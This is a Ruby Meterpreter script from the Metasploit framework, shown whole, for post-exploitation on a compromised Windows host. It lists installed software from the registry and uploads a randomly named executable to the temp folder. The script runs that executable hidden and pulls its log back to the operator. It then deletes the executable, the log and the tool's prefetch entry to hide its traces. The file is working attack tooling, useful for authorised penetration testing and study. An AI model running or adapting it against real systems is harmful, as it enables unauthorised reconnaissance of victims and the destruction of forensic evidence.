metasploit-framework/scripts/meterpreter/prefetchtool.rb

#Meterpreter script for extracting information from windows prefetch folder
#Provided by Milo at keith.lee2012[at]gmail.com
#Verion: 0.1.0

require 'fileutils'
require 'net/http'
require 'digest/sha1'

@session = client
@host,@port = @session.session_host, session.session_port

# Script Options
@@exec_opts = Rex::Parser::Arguments.new(
  "-h" => [ false,  "Help menu."],
  "-p" => [ false,  "List Installed Programs"],
  "-c" => [ false,  "Disable SHA1/MD5 checksum"],
  "-x" => [ true,   "Top x Accessed Executables (Based on Prefetch folder)"],
  "-i" => [ false,  "Perform lookup for software name"],
  "-l" => [ false,  "Download Prefetch Folder Analysis Log"]
)

@tempdir = @session.fs.file.expand_path("%TEMP%")

#---------------------------------------------------------------------------------------------------------
def read_program_list
  key = @session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', KEY_READ)
  sfmsvals = key.enum_key
  sfmsvals.each do |test1|
    begin
      key2 = "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\"+test1
      root_key2, base_key2 = @session.sys.registry.splitkey(key2)
      value1 = "DisplayName"
      value2 = "DisplayVersion"
      open_key = @session.sys.registry.open_key(root_key2, base_key2, KEY_READ)
      v1 = open_key.query_value(value1)
      v2 = open_key.query_value(value2)
      print_status("#{v1.data}\t(Version:  #{v2.data})")
    rescue
    end
  end
end

def prefetch_dump(options, logging=false)

  lexe = File.join(Msf::Config.data_directory, "prefetch.exe")
  rexe = sprintf("%.5d",rand(100000)) + ".exe"
  rlog = sprintf("%.5d",rand(100000)) + ".txt"

  print_status("Uploading Prefetch-tool for analyzing Prefetch folder...")
  begin
    @session.fs.file.upload_file("#{@tempdir}\\#{rexe}", lexe)
    print_status("Prefetch-tool uploaded as #{@tempdir}\\#{rexe}")
  rescue ::Interrupt; raise $!
  rescue ::Exception => e
    print_status("The following error was encountered: #{e.class} #{e}")
    return
  end

  begin

    if(logging)
      options += " --txt=#{@tempdir}\\#{rlog}"
    end

    r = @session.sys.process.execute("cmd.exe /c #{@tempdir}\\#{rexe} #{options} #{rlog}", nil, {'Hidden' => 'true','Channelized' => true})
    while(d = r.channel.read)
      d.split("\n").each do |out|
        print_status("OUT> #{out.strip}")
      end
    end

    found = true
    while (not found)
      found = false
      @session.sys.process.get_processes().each do |x|
        found = false
        if (x['name'].downcase == rexe)
          found = true
        end
      end
      sleep(0.5) if found
    end

    r.channel.close
    r.close

    print_status("Deleting #{rexe} from target...")
    @session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rexe}", nil, {'Hidden' => 'true'})

    print_status("Clearing prefetch-tool prefetch entry ...")
    @session.sys.process.execute("cmd.exe /c del %windir%\\prefetch\\#{rexe.gsub('.exe','')}*.pf", nil, {'Hidden' => 'true'})

    if(logging)
      logfile = ::File.join(Msf::Config.config_directory, 'logs', 'prefetch', @host + "-" + ::Time.now.strftime("%Y%m%d.%M%S") + ".log")
      print_status("[*] Saving prefetch logs to #{logfile}...")
      @session.fs.file.download_file(logfile, "#{@tempdir}\\#{rlog}")
      print_status("[*] Deleting log file from target...")
      @session.sys.process.execute("cmd.exe /c del #{@tempdir}\\#{rlog}", nil, {'Hidden' => 'true'})
    end

  rescue ::Interrupt; raise $!
  rescue ::Exception => e
    print_status("The following error was encountered: #{e.class} #{e}")
    return
  end
end


#check for proper Meterpreter Platform
def unsupported
  print_error("This version of Meterpreter is not supported with this Script!")
  raise Rex::Script::Completed
end



################## MAIN ##################

options       = ""
logging       = false
view_list     = false
check_update  = false

@@exec_opts.parse(args) { |opt, idx, val|
  case opt
  when "-x"
    options += " --x=" + val
  when "-c"
    options += " --disable-md5 --disable-sha1"
  when "-p"
    view_list = true
  when "-i"
    options += " --inet-lookup"
  when "-l"
    logging = true
  when "-h"
    print_status( "Prefetch-tool Meterpreter Script")
    print_line(@@exec_opts.usage)
    raise Rex::Script::Completed
  end
}
unsupported if client.platform !~ /win32|win64/i
prefetch_local = ::File.join(Msf::Config.data_directory, "prefetch.exe")

if !(::File.exist?(prefetch_local))
  print_status("No local copy of prefetch.exe, downloading from the internet...")
  Net::HTTP.start("prefetch-tool.googlecode.com") do |http|
    req  = Net::HTTP::Get.new("/files/prefetch.exe")
    resp = http.request(req)
    ::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd|
      fd.write(resp.body)
    end
  end
  print_status("Downloaded prefetch.exe to #{prefetch_local}")
else
  print_status("Checking for an updated copy of prefetch.exe..")
  digest = Digest::SHA1.hexdigest(::File.read(prefetch_local, ::File.size(prefetch_local)))

  Net::HTTP.start("code.google.com") do |http|
    req     = Net::HTTP::Get.new("/p/prefetch-tool/downloads/detail?name=prefetch.exe&can=2&q=")
    resp    = http.request(req)
    body    = resp.body
    chksum  = body.scan(/SHA1 Checksum: <\/th><td style="white-space:nowrap">.* <a href/)[0]
    chksum.sub!(/SHA1 Checksum: <\/th><td style="white-space:nowrap"> /,'')
    chksum.sub!(/ <a href/,'')

    if (digest != chksum)
      print_status("Downloading an updated version of prefetch.exe to #{prefetch_local}...")
      Net::HTTP.start("prefetch-tool.googlecode.com") do |http|
        req  = Net::HTTP::Get.new("/files/prefetch.exe")
        resp = http.request(req)
        ::File.open(::File.join(Msf::Config.data_directory, "prefetch.exe"), "wb") do |fd|
          fd.write(resp.body)
        end
      end
      print_status("Downloaded prefetch.exe to #{prefetch_local}")
    end
  end
end

if (view_list)
  read_program_list()
end

print_status("Running Prefetch-tool script...")
prefetch_dump(options, logging)